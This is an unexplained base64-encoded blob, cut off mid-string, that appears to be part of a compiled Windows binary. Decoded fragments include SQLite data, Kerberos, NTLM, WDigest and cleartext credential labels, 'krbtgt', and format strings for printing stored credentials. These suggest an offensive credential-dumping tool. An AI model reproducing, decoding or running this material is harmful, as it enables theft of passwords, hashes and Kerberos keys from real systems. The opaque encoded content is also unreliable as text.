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EAAADgoAyAAQAAAJCgDIABAAAAEJ0MgAEAAACQoAyAAQAAAPwcBoABAAAACB8GgAEAAABQHwaAAQAAAJDCDIABAAAAiMIMgAEAAAAcIQaAAQAAAKAiBoABAAAAJCUGgAEAAAD4kwyAAQAAAACUDIABAAAAqAAAAAAAAAAQAAAAUAAAAFQAAAAYAAAAKAAAAHAAAABIAAAAoAAAAFgAAABgAAAAoAAAAAAAAAAQAAAAUAAAAFQAAAAYAAAAKAAAAHAAAABIAAAAmAAAAFgAAABgAAAAEAEAAAAAAABwAAAAuAAAALwAAACAAAAAkAAAANgAAACwAAAACAEAAMAAAADIAAAACAEAAAAAAABwAAAAuAAAALwAAACAAAAAkAAAANgAAACwAAAAAAEAAMAAAADIAAAAGAEAAAAAAABwAAAAyAAAAMwAAACQAAAAoAAAAOgAAADAAAAAEAEAANAAAADYAAAAUAEAAAAAAABwAAAAyAAAANgAAACAAAAAkAAAAPgAAADAAAAASAEAAOAAAADoAAAAYAEAAAAAAABwAAAA2AAAAOgAAACQAAAAoAAAAAgBAADQAAAAWAEAAPAAAAD4AAAAkAAAADgAAABoAAAAgAAAAAAAAAAIAAAAwAAAADgAAACYAAAAsAAAAAAAAAAIAAAA0AAAADgAAACoAAAAwAAAAAAAAAAIAAAA4KMMgAEAAABgAAAAmAAAAAgBAAAYAQAAKAEAADgBAABAAQAAAAAAACAAAAAoAAAAMAAAAEAAAABQAAAAYAAAAHAAAAB4AAAAgAAAAIgAAADIAAAA0AAAANgAAAAEAQAAEAEAAAgBAAAgAQAAAAAAAPgAAAAAAAAAGAAAAAAAAAAQAAAAAAAAACgAAAAAAAAANAAAAEgAAAA4AAAAAAAAAFAAAACIAAAA+AAAABABAAAoAQAAQAEAAEgBAAAAAAAAIAAAACgAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACIAAAAkAAAALgAAADAAAAAyAAAAPQAAAAAAQAA+AAAABABAAAAAAAA6AAAAAAAAAAYAAAAAAAAABAAAAAAAAAAKAAAAAAAAAA0AAAASAAAADgAAAAAAAAAQAAAAHgAAADoAAAAAAEAABgBAAAwAQAAOAEAAAAAAAAgAAAAKAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAI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